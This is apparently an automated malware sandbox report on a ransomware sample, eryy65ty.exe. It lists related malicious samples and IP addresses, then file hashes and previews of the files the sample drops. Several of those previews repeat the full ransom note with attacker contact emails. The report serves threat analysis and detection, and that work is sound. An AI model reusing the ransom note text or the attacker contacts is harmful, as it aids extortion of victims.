                                                                                                                                        https://us-west-2.protection.sophos.com/?d=microsoft.com&u=aHR0cHM6Ly9jdXN0b21lcnZvaWNlLm1pY3Jvc29mdC5jb20vUGFnZXMvUmVzcG9uc2VQYWdlLmFzcHg_aWQ9R1V1LXNGcV9vVWVfanViX1RzNWNzTjJ3cmI2cGNXbEJ2Vm9kQTg3OVBVbFVNRGMyUXpNd00wdENVVFJWT1ZGUFRWYzNPRWM1V0ZsRE1DNHU=&i=NThlN2NjYzYyOTljZjkxNGY4YmM0YmNh&t=YzVvY0ZoOHFRSGdCNnRncDc0ajJVNDZ2OTFMQXU1d0o3eU5tbk9LTnRwdz0=&h=fb80ac6ee6b9415ab2e67948974a6ac6&s=AVNPUEhUT0NFTkNSWVBUSVYEA8vQ82X9oDKen41DcCmWhkUnMNiRIUMWwszf4nzAf5AOW4BqwHD-tdThtGIGLosGet hashmaliciousHTMLPhisher, ReCaptcha PhishBrowse
                                                                                                                                        • 13.227.8.101
                                                                                                                                        TELE-ASTeleAsiaLimitedHKR7bv9d6gTH.dllGet hashmaliciousUnknownBrowse
                                                                                                                                        • 103.253.43.248
                                                                                                                                        http://9089357365.com/Get hashmaliciousPhisherBrowse
                                                                                                                                        • 45.125.65.213
                                                                                                                                        UBONg7lmVR.exeGet hashmaliciousUnknownBrowse
                                                                                                                                        • 45.125.66.18
                                                                                                                                        UBONg7lmVR.exeGet hashmaliciousUnknownBrowse
                                                                                                                                        • 45.125.66.18
                                                                                                                                        1feP5qTCl0.exeGet hashmaliciousUnknownBrowse
                                                                                                                                        • 45.125.66.18
                                                                                                                                        V6ZsDcgx4N.exeGet hashmaliciousUnknownBrowse
                                                                                                                                        • 45.125.66.18
                                                                                                                                        V6ZsDcgx4N.exeGet hashmaliciousUnknownBrowse
                                                                                                                                        • 45.125.66.18
                                                                                                                                        https://57365oo.cc/Get hashmaliciousPhisherBrowse
                                                                                                                                        • 45.125.65.213
                                                                                                                                        zte.arm7.elfGet hashmaliciousUnknownBrowse
                                                                                                                                        • 45.125.66.78
                                                                                                                                        Kxk45K3cAx.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                                                                                                        • 45.125.66.223
                                                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                        3b5074b1b5d032e5620f69f9f700ff0eShipment 990847575203.pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                        • 45.125.67.168
                                                                                                                                        file.exeGet hashmaliciousXWormBrowse
                                                                                                                                        • 45.125.67.168
                                                                                                                                        gjvU5KOFhX.exeGet hashmaliciousDiscord Token Stealer, Millenuim RATBrowse
                                                                                                                                        • 45.125.67.168
                                                                                                                                        svhost.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                        • 45.125.67.168
                                                                                                                                        hvqc3lk7ly.exeGet hashmaliciousDiscord Token Stealer, DotStealerBrowse
                                                                                                                                        • 45.125.67.168
                                                                                                                                        TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                        • 45.125.67.168
                                                                                                                                        adv.ps1Get hashmaliciousLummaCBrowse
                                                                                                                                        • 45.125.67.168
                                                                                                                                        d2W4YpqsKg.lnkGet hashmaliciousLummaCBrowse
                                                                                                                                        • 45.125.67.168
                                                                                                                                        HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                        • 45.125.67.168
                                                                                                                                        https://nam.dcv.ms/0CX72IqyxfGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                        • 45.125.67.168
                                                                                                                                        No context
                                                                                                                                        Process:C:\Windows\System32\svchost.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1310720
                                                                                                                                        Entropy (8bit):0.8232291770300421
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3072:CJC5rk0X+MbJ72D4qgfiaDhvO7VMBfWHLpEj:TJwmiF7VMyLpEj
                                                                                                                                        MD5:9E95D304D2032717C67005B1015DA2DC
                                                                                                                                        SHA1:94B82DDB0BB04D09483EEC5B7807D00916E20065
                                                                                                                                        SHA-256:6D5FAC41210D1B641734F540757908688E649971D1C1D3F6EE4C77A531C3F368
                                                                                                                                        SHA-512:D57BD838D18406CEBDA748EFF8DCC6F8F7222DAC9E3B768ACB7CE2E1E99B5B6A47E32BE97EB663A594EC030B29D6CEFA0FF2F50D2F9333E378254E41B7FAB752
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:dg".........@..@%9...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................T.....#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................
                                                                                                                                        Process:C:\Windows\System32\svchost.exe
                                                                                                                                        File Type:Extensible storage engine DataBase, version 0x620, checksum 0xa5f85246, page size 16384, DirtyShutdown, Windows version 10.0
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1310720
                                                                                                                                        Entropy (8bit):0.771617660382062
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:1536:7SB2ESB2SSjlK/7vqlC06Z546I50AEzJ+Ykr3g16XWq2UPkLk+kFLKho38o38+W6:7aza9vqcHbrq2UyUVWlW
                                                                                                                                        MD5:3DFD4BAC5AEB87E9F806D0380011E700
                                                                                                                                        SHA1:56683171A91D23A844461B2F7D3D1BD0AEE55652
                                                                                                                                        SHA-256:C4CA72D0DFB72AE104DCCC09F0437F236A445C169E6222ECDDF1B3933E268E74
                                                                                                                                        SHA-512:A370094AA50819CFEF458B865B7296C4085D55D112EB39235D161C0CB65B13FA957BBC50E00ABBAD8132000E6B74C2DE0C73B570B9F7FD669513AAEFB39A07F5
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..RF... ...............X\...;...{......................0.p.....#....{..#;...|..h.r.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......%9...{...............................................................................................................................................................................................2...{.....................................0#;...|....................q.#;...|...........................#......h.r.....................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                        Process:C:\Windows\System32\svchost.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):16384
                                                                                                                                        Entropy (8bit):0.08157464260611244
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:eGEYex2r3kZul08qrrvr+gvrr/O7k1/AllVmctlll/Sm1l1:eGEzxEYurgn/O7E/ALPPv
                                                                                                                                        MD5:08147AE19CD5D01E87892CAC08D2E5CC
                                                                                                                                        SHA1:9FF7EABD76820E0DFA0D692DCAA97689612BB525
                                                                                                                                        SHA-256:A8DA4EFDBCCC8CFB7006826D3CCEB5E3A36E3FC2B70B4DD84A92C5E9360029D1
                                                                                                                                        SHA-512:5CC6CDDDE6BE8DCDBEB4CC5F9F4D831B6A339C288E07F5EDA0F3DE3624763161200A4348B43E3268797851C666CB219AB24397EB007EDCADAC8A61D588E1EBF8
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.........................................;...{..#;...|..#....{..........#....{..#....{...i..#....{.V..................q.#;...|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1265
                                                                                                                                        Entropy (8bit):7.868049771553968
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:nSRqsSZlkXAUrLLl732UywvQBUnMzm3lRixx/vCRu4BILk+1HmeV9CJvzZQg9UuM:nxlDYzBsUnMzolQHCULr1Hmenmv2CUuM
                                                                                                                                        MD5:F81E18AE2E2BE2DC60A7C6F1770DECC4
                                                                                                                                        SHA1:89336C8B8C54A954E436F0A2394809FDEC109168
                                                                                                                                        SHA-256:50117B725C224B5D000FF8F42FE305F4604C3215511197076C7F6A10B4CEF43F
                                                                                                                                        SHA-512:9E88146B0DD3228A76C8C9D2C5AEB61C9ECCEF7E8D32715BECC77697C552085372078DB601FFE535400DF9697ACF8974C178E68810A03771103F6AAAA20F2F1C
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.......[.......s.kbXz!..@....a^6{v...../V3..y....s...l.S..|..)-....\.Q...&c4...~P2......J.'..|...9I...1..?..%a.Pl.}.....l.....4/'P........... ...>....=.-...z...N..|.?+.]v...'...=.-..J.....bO..`(...j&h.&...../...7]p........x&..YI.7Xu..........F..@-7.......V..CQ..7...-g.....%...YL.R4m...#..0.U%.*.'S@.WlG.R.B....].#m..b..9l....S.e.0w:.i...FQi.z.f..... .%.i.....%.<...d..Y.<..*n..e.F...p,gA..%.:.i..D.g...3i..T..M.!Z...2)..s-a..*.LL9..d.4..%3...1.a..d.=.x.f.:q..-.......-X.....o.Jta...0...JU.A.9..oD..+...Kp.Y..p..M.j..`..E......K..eaB...@.z...L.,.q[....).v*...4...A..fW...o@.3.I[hz.%E.]...."....x.sG...?..$B21...3..:./.sWi.+.R....=/.!.dT...+6p5..a.V......{.\._.%..h..S..2./f..z....0>.MS......k......*.e.)....t.....|+4.`...+.g<3_Yed0...VF...U/.\y....eO.{a..p..&.X.~......>.>.<...4X.....P;.N#..5......gP...........5.K.."S.p....(/#....n#n.4...&bg.q......Y-tl,..o...A...+.9..U.....o....i%.........jB...5..k t..._....v`.....B;..y..|.^.6.....$.....tion>..8
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1265
                                                                                                                                        Entropy (8bit):7.868049771553968
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:nSRqsSZlkXAUrLLl732UywvQBUnMzm3lRixx/vCRu4BILk+1HmeV9CJvzZQg9UuM:nxlDYzBsUnMzolQHCULr1Hmenmv2CUuM
                                                                                                                                        MD5:F81E18AE2E2BE2DC60A7C6F1770DECC4
                                                                                                                                        SHA1:89336C8B8C54A954E436F0A2394809FDEC109168
                                                                                                                                        SHA-256:50117B725C224B5D000FF8F42FE305F4604C3215511197076C7F6A10B4CEF43F
                                                                                                                                        SHA-512:9E88146B0DD3228A76C8C9D2C5AEB61C9ECCEF7E8D32715BECC77697C552085372078DB601FFE535400DF9697ACF8974C178E68810A03771103F6AAAA20F2F1C
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.......[.......s.kbXz!..@....a^6{v...../V3..y....s...l.S..|..)-....\.Q...&c4...~P2......J.'..|...9I...1..?..%a.Pl.}.....l.....4/'P........... ...>....=.-...z...N..|.?+.]v...'...=.-..J.....bO..`(...j&h.&...../...7]p........x&..YI.7Xu..........F..@-7.......V..CQ..7...-g.....%...YL.R4m...#..0.U%.*.'S@.WlG.R.B....].#m..b..9l....S.e.0w:.i...FQi.z.f..... .%.i.....%.<...d..Y.<..*n..e.F...p,gA..%.:.i..D.g...3i..T..M.!Z...2)..s-a..*.LL9..d.4..%3...1.a..d.=.x.f.:q..-.......-X.....o.Jta...0...JU.A.9..oD..+...Kp.Y..p..M.j..`..E......K..eaB...@.z...L.,.q[....).v*...4...A..fW...o@.3.I[hz.%E.]...."....x.sG...?..$B21...3..:./.sWi.+.R....=/.!.dT...+6p5..a.V......{.\._.%..h..S..2./f..z....0>.MS......k......*.e.)....t.....|+4.`...+.g<3_Yed0...VF...U/.\y....eO.{a..p..&.X.~......>.>.<...4X.....P;.N#..5......gP...........5.K.."S.p....(/#....n#n.4...&bg.q......Y-tl,..o...A...+.9..U.....o....i%.........jB...5..k t..._....v`.....B;..y..|.^.6.....$.....tion>..8
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):292
                                                                                                                                        Entropy (8bit):7.188554768478818
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:0XbGUjH1UvdKei/J59u8DCX3UmCxdFwngxOl3a8X+8AbKyHgwn:0XdjHmvdKecJ5xCadFwgOlKc+8Auon
                                                                                                                                        MD5:9C735439702859C3DEB09F4DAD8DF41E
                                                                                                                                        SHA1:B7C4FFFC6F2B1EDB21FF6D6B00A930193DC7CD2C
                                                                                                                                        SHA-256:EB60EBA4B198BE6B2AE669991FE01BDA493FC4058263F4CD511C7E1FADA45DD6
                                                                                                                                        SHA-512:372130CBD3184E50A66E590BAD40FA8B50AC3070F2C287D425DBF999FA63BB1BC583E151EE8C2256444744A8D1EE4B486332B4601D240F86726F9C47DCF7507D
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:/.E.s~G.3..B.. .............:j...1.....qOs...}o..~.5@y.3..../...}......M.E.m.r.q/R26..5......L+%pZ.&.$.%......mr................R..O/.m8.f....Y..K.U......)=...f.....y.{.|..@...8.S#..p...d..W.4I...l6.....}.~.......|..iV.Bw....b.UG..Iq....u....^../...>..Fj.yi.:.......0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
